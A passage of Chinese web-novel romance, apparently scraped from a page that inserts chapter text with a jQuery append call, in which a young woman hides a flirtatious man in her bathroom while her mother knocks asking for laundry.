$(''#content'').append('' 谈显欣赏着她这副受惊的模样,忍不住笑了出来,温热的鼻息喷在她手心,染得虞汀白的手心连着耳后根都热了起来。 她毫无威慑力地瞪他,倒像撒娇,小声说:“你笑什么。” 谈显捏住虞汀白的手腕,将她的手拿下来,但没有松开,虚虚地框在手心,兴味盎然地靠在墙上睨着她。 她又问一遍:“你在笑什么。”不自然地把手抽了出来。 谈显低下头,阴影迫近,安息香袭来,他用气音在她耳边回答,呼吸吹得她耳蜗发痒:“我有点担心。” “担心什么?” “你今晚不会想留我睡觉吧?” “……”她单指抵在他脸颊,想将他脸挪开,却不小心擦过了他柔软微热的唇,脸涨红起来,“你想得美!” 浴室门口突然响起敲门声,虞汀白被吓一跳,整个人差点跳进谈显怀里,谈显虚虚地扶住了她的肩,保持着二人的距离。 杨艺清不知何时走到门口,声音与他们只有一门之隔,近得就像随时能闯进来撞破一切:“你在里面怎么叽叽咕咕的?澡洗完了吗?脏衣服拿出来给我,我顺手一起洗了。” “我、我还没洗完……” “没关系,你把衣服递出来,”杨艺清感到莫名其妙,“你什么时候跟我这么见外了,洗个澡还怕你妈看见?” 别说是洗澡时递衣服了,就算是洗澡时进来拿衣服她们母女以前都不避讳。 叩、叩、叩! 杨艺清不解地催促:“你快点,把衣服递出来。” “你等一下,我马上就好!” 虞汀白看了看谈显的上身,下定决心似的踮起脚尖,在他耳边小声问:“你里面穿衣服了吗?” “穿了。”谈显放松地靠在墙上,视线向下,两排鸦羽垂落,睥睨着她,“要我脱给你啊?” “……” 虞汀白脸红不说话,干脆上手去解谈显的衬衫纽扣,谈显猝不及防,惊得攥住了她的两只手,然后才稳了稳再问:“直接来啊,一点前戏没有?” 虞汀白瞪了他一眼:“……你闭嘴。” 谈显笑着仰起头,后脑勺靠在墙上,下巴连着喉管,拉出一道优雅流畅的线条,喉结凸出而性感,把最脆弱的地方暴露给她,一副予取予求的模样。 虞汀白垂着眼眸,舔了舔发干的嘴唇,从他的喉结下方开始,一颗一颗地解着他的衬衫,手背擦在他的衬衫布料上,发出窸窣细响,她的手像不听话似的,越解越不利索,半天也没解到第四颗。 一只骨节分明的修长大手按住了她的手,虞汀白抬起头,与谈显清清淡淡的瞳仁相撞,看见他白皙的耳廓也早已红了一圈,她喉咙越发干燥。 …… 几分钟后,卫生间门打开了一道小缝,一只小手将衣服递了出来。 杨艺清刚接过衣服,门就砰地一声又关上了,怎么防她像防贼似的,杨艺清满头雾水,女儿什么时候跟她这么见外了? 卫生间狭窄的几平米空间内,虞汀白穿着谈显的白色衬衫,他的衬衫肩膀宽大,肩线垮下来,将她半个身体笼罩,衬衫下摆遮过屁股,刚到大腿根,两条细白的长腿裸露在外,无措地勾缠在一起。 她像偷穿男友衣服的小女孩,青涩的,不安的,如同一颗诱人的水蜜桃。 虞汀白坐在水台上,与谈显面对着面,却是撇过头不敢看他。 谈显忽然上前,虞汀白下意识向后倾,他却只是将她衣服下摆往下拉扯了一下,原来是她扭来扭去不小心将衬衫下摆扭了上去,露出了一小截内裤的花边。 谈显低头在她耳边好笑地带着气音小声问:“你以为我想对你做什么?” “还是你在期待我对你做什么?”